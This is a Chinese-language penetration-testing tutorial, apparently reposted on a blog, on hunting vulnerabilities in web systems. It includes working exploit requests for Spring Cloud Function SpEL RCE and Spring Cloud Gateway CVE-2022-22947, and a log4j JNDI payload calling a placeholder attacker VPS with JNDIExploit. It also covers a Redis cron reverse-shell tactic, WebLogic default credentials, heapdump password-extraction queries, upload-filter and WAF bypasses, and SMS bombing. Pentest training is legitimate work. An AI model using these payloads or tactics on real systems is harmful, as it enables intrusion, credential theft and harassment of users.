渗透测试-如何高效率挖掘漏洞

前言

1、做渗透由始至终,忌讳穿插其他项目进行

2、按顺序细心测试每一个功能点,保证漏洞无遗漏

3、山穷水复疑无路,柳暗花明又一村,一个点利用不到,可以灵活变通尝试其他方向

漏扫工具

AWVS

Xray

端口扫描

端口扫描可发现系统开放的端口

21、22、3306等远程端口,可使用超级弱口令工具或者railgun自带模块进行暴力破解

6379端口可以尝试redis未授权,使用计划任务等方式弹shell

8080端口可尝试tomcat弱口令部署war包getshell

目录扫描

通过目录扫描可以发现系统中存在的脆弱性问题,方便我们进行下一步渗透

对于一些403的页面,可以进行二级目录扫描

dirsearch

Jsfinder

识别系统使用框架

可通过指纹工具识别出所使用的框架或者产品

Wappalyzer

tidefinger

CMS二次开发站点

通过目录扫描发现带有cms标识残留页面或者通过图标判断出

通过漏洞库查找相关未修复的漏洞

struts2

一般使用struts2框架后缀带do或action,可以尝试进行利用

后缀为action,可能使用了struts2框架,使用工具尝试进行利用

命令执行成功

shiro

shiro框架识别可通过数据包中是否含有rememberme字段进行判断

登录抓取数据包,发现存在rememberme字段,判断为shiro框架,尝试进行

检测当前密钥和利用链是否存在

两者存在利用成功

在攻防演练里getshell后还可以对key进行修改,防止其他队伍得分

使用潘神的一键改key工具,可看到key已经被修改

weblogic

框架识别

访问7001端口出现下面这种截图,可能存在weblogic漏洞

使用weblogic漏洞利用工具,检测是否存在漏洞

执行命令

weblogic弱口令

输入console可跳转至登录界面,可以测试是否使用默认口令

system/password
weblogic/weblogic
admin/security
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem

springboot

框架识别

1、通过 web 应用程序网页标签的小绿叶图标(favicon.ico)

2、通过 springboot 框架默认报错页面

目录扫描接口

推荐章神的railgun,有对应的springboot字典

/env、/actuator/env
GET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如 password 写成 psasword、pwd 时,会泄露密码明文,同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。

/refresh、/actuator/refresh
POST 请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。

/restart、/actuator/restart
暴露出此接口的情况较少;可以配合 POST请求 /env 接口设置属性后,再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。

/jolokia、/actuator/jolokia
可以通过 /jolokia/list 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。

/trace、/actuator/httptrace
一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的 cookie等信息。

springboot exploit

目标地址填入要测试的url,点击检测环境,然后点击检测当前利用链

java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1234 -p 8988 -i 0.0.0.0
服务器地址填入目标地址,选择相应的端口

heapdump密码获取

/heapdump
/actuator/heapdump

使用Eclipse Memory Analyzer进行分析

http://www.eclipse.org/downloads/download.php?file=/mat/1.12.0/rcp/MemoryAnalyzer-1.12.0.20210602-win32.win32.x86_64.zip

select s from java.lang.String s where /pass/.test(s.value.toString())
select * from org.springframework.web.context.support.StandardServletEnvironment
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

springboot function spel rce

发送poc,成功执行命令

POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

xxx

springboot gateway

添加一个路由

POST /actuator/gateway/routes/test HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"id\\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

刷新令路由生效

POST /actuator/gateway/refresh HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

访问触发漏洞

GET /actuator/gateway/routes/test HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

删除路由

DELETE /actuator/gateway/routes/test HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Length: 4

工具检测

https://github.com/chaosec2021/CVE-2022-22947-POC

log4j

https://github.com/f0ng/log4j2burpscanner

java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1234 -p 8988 -i 0.0.0.0
payload=${jndi:ldap://vps地址:1234/TomcatBypass/TomcatEcho}

常见功能点漏洞

SQL注入挖掘

遇到参数后面带数字的,可以使用1=1、1=2判断是否存在sql注入

抓取数据包,使用sqlmap进行注入测试

测试成功

但在测试过程中可能会遇到被waf拦截的情况

可以fuzz被拦截的字符,有针对性进行绕过

api接口账密信息泄露

通过查看系统的js文件,检索字段如id、pass、url等关键字

接口参数发现

常见于任意文件读取、下载、包含漏洞

arjun+fuzz

知道参数为file 构造 https://10.10.10.127/system_wws/include.php?file= 使用字典对可读取文件进行fuzz

敏感信息泄露

通过对某个字段进行置空,回显数据包中泄露了大量的手机号、姓名、住址等敏感信息

越权漏洞

通过修改post数据包字段的数值,可进行越权操作,查看其他用户的个人信息

短信问题

短信轰炸

对数据包进行重放,实现单用户收到多条短信的效果

短信定向转发

对数据包中的手机号进行遍历,实现一条短信转发给多个用户效果

未授权访问

https://github.com/rtcatc/Packer-Fuzzer

文件上传

黑名单过滤php后缀,尝试php3、php5、phtml等进行绕过

存在文件解析漏洞,比如apache的从右往左进行解析,可添加.xxx进行绕过

fuzz其他上传接口比如file、upload、uploadfile等,可能会存在其他接口不检验的问题,但实战中很少

暴力破解

之前我们一般暴力破解都是以admin为账号,去爆破top1000的字典,去根据状态码、长度筛选爆破结果

但是admin管理员账户一般是强口令,很难进行爆破,且部分密码进行加密,寻找js解密耗费时间久,对于admin建议尝试几个admin123、123456这些,如果没有的话我们应该选择其他的思路,固定密码123456、000000去爆破姓名拼音用户名

凑洞环节

后台地址泄露

不安全的http请求方式

垃圾数据写入

用户名枚举

中间件版本信息泄露

多点会话登录

本站文章资源均来源自网络,除非特别声明,否则均不代表站方观点,并仅供查阅,不作为任何参考依据!
如有侵权请及时跟我们联系,本站将及时删除!
如遇版权问题,请查看 本站版权声明
THE END
分享
二维码
海报
渗透测试-如何高效率挖掘漏洞
21、22、3306等远程端口,可使用超级弱口令工具或者railgun自带模块进行暴力破解
<<上一篇
下一篇>>